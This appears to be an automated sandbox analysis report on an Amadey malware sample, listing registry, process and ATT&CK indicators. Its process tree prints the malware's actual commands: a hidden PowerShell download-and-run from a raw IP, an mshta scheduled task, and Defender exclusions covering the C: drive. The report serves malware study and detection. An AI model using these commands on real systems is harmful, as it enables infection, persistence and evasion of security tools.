amadey | 1791b49625ea67a1035252f25b155627617e3c49053aa14012b6d194e60ccf5b

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	4852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4852	powershell.exe
5160	powershell.exe
14040	powershell.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
5	1784	svchost.exe
1	4852	powershell.exe
4	3412	rapes.exe
7	3412	rapes.exe
60	3412	rapes.exe
115	3412	rapes.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\dMTjb_5496\ImagePath = "\\??\\C:\\Windows\\Temp\\dMTjb_5496.sys"	upnpcont.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe

Deletes itself 1 IoCs

pid	Process
3584	tzutil.exe

Executes dropped EXE 9 IoCs

pid	Process
3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
3412	rapes.exe
2980	laf6w_001.exe
5496	upnpcont.exe
3584	tzutil.exe
14260	f43376e623.exe
128	rapes.exe
2088	rapes.exe
8124	tK0oYx3.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Wine	rapes.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1678082226-3994841222-899489560-1000\Software\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {7621FABD-8E1C-4682-ACCD-F95D288F67B3}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {7621FABD-8E1C-4682-ACCD-F95D288F67B3}"	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
3412	rapes.exe
128	rapes.exe
2088	rapes.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 14260 set thread context of 5796	14260	f43376e623.exe	102
PID 8124 set thread context of 6128	8124	tK0oYx3.exe	111

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	laf6w_001.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3964	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe
3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
3412	rapes.exe
3412	rapes.exe
5160	powershell.exe
5160	powershell.exe
14040	powershell.exe
14040	powershell.exe
5796	MSBuild.exe
5796	MSBuild.exe
128	rapes.exe
128	rapes.exe
5796	MSBuild.exe
5796	MSBuild.exe
7032	powershell.exe
7032	powershell.exe
2088	rapes.exe
2088	rapes.exe
6128	MSBuild.exe
6128	MSBuild.exe
6128	MSBuild.exe
6128	MSBuild.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
5496	upnpcont.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2980	laf6w_001.exe
2980	laf6w_001.exe
2980	laf6w_001.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	14040	powershell.exe
Token: SeLoadDriverPrivilege	5496	upnpcont.exe
Token: SeDebugPrivilege	7032	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2672	random.exe
2672	random.exe
2672	random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2672	random.exe
2672	random.exe
2672	random.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 3508	2672	random.exe	82
PID 2672 wrote to memory of 3508	2672	random.exe	82
PID 2672 wrote to memory of 3508	2672	random.exe	82
PID 2672 wrote to memory of 5960	2672	random.exe	83
PID 2672 wrote to memory of 5960	2672	random.exe	83
PID 2672 wrote to memory of 5960	2672	random.exe	83
PID 3508 wrote to memory of 3964	3508	cmd.exe	85
PID 3508 wrote to memory of 3964	3508	cmd.exe	85
PID 3508 wrote to memory of 3964	3508	cmd.exe	85
PID 5960 wrote to memory of 4852	5960	mshta.exe	86
PID 5960 wrote to memory of 4852	5960	mshta.exe	86
PID 5960 wrote to memory of 4852	5960	mshta.exe	86
PID 4852 wrote to memory of 3792	4852	powershell.exe	89
PID 4852 wrote to memory of 3792	4852	powershell.exe	89
PID 4852 wrote to memory of 3792	4852	powershell.exe	89
PID 3792 wrote to memory of 3412	3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE	90
PID 3792 wrote to memory of 3412	3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE	90
PID 3792 wrote to memory of 3412	3792	TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE	90
PID 3412 wrote to memory of 2980	3412	rapes.exe	91
PID 3412 wrote to memory of 2980	3412	rapes.exe	91
PID 3412 wrote to memory of 2980	3412	rapes.exe	91
PID 2980 wrote to memory of 6132	2980	laf6w_001.exe	92
PID 2980 wrote to memory of 6132	2980	laf6w_001.exe	92
PID 2980 wrote to memory of 1784	2980	laf6w_001.exe	93
PID 2980 wrote to memory of 1784	2980	laf6w_001.exe	93
PID 6132 wrote to memory of 5160	6132	cmd.exe	95
PID 6132 wrote to memory of 5160	6132	cmd.exe	95
PID 1784 wrote to memory of 5496	1784	svchost.exe	96
PID 1784 wrote to memory of 5496	1784	svchost.exe	96
PID 1784 wrote to memory of 3584	1784	svchost.exe	97
PID 1784 wrote to memory of 3584	1784	svchost.exe	97
PID 5496 wrote to memory of 14040	5496	upnpcont.exe	98
PID 5496 wrote to memory of 14040	5496	upnpcont.exe	98
PID 3412 wrote to memory of 14260	3412	rapes.exe	100
PID 3412 wrote to memory of 14260	3412	rapes.exe	100
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 14260 wrote to memory of 5796	14260	f43376e623.exe	102
PID 5496 wrote to memory of 7032	5496	upnpcont.exe	105
PID 5496 wrote to memory of 7032	5496	upnpcont.exe	105
PID 3412 wrote to memory of 8124	3412	rapes.exe	108
PID 3412 wrote to memory of 8124	3412	rapes.exe	108
PID 8124 wrote to memory of 4820	8124	tK0oYx3.exe	110
PID 8124 wrote to memory of 4820	8124	tK0oYx3.exe	110
PID 8124 wrote to memory of 4820	8124	tK0oYx3.exe	110
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111
PID 8124 wrote to memory of 6128	8124	tK0oYx3.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn yNnjLmabGfh /tr "mshta C:\Users\Admin\AppData\Local\Temp\n6jJjxNeI.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn yNnjLmabGfh /tr "mshta C:\Users\Admin\AppData\Local\Temp\n6jJjxNeI.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3964
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\n6jJjxNeI.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Users\Admin\AppData\Local\TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE
      "C:\Users\Admin\AppData\Local\TempYGGDE5XNNNTHSYBO5PRVNEPTJNZJOKSP.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3792
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3412
      - C:\Users\Admin\AppData\Local\Temp\10299350101\laf6w_001.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10299350101\laf6w_001.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2980
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:6132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5160
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        Downloads MZ/PE file
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:1784
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\upnpcont.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\upnpcont.exe" ""
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath C:\
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:14040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:7032
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        Deletes itself
        Executes dropped EXE
        
        PID:3584
      - C:\Users\Admin\AppData\Local\Temp\10299360101\f43376e623.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10299360101\f43376e623.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:14260
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5796
      - C:\Users\Admin\AppData\Local\Temp\10299380101\tK0oYx3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10299380101\tK0oYx3.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:8124
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:4820
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6128

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:128

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion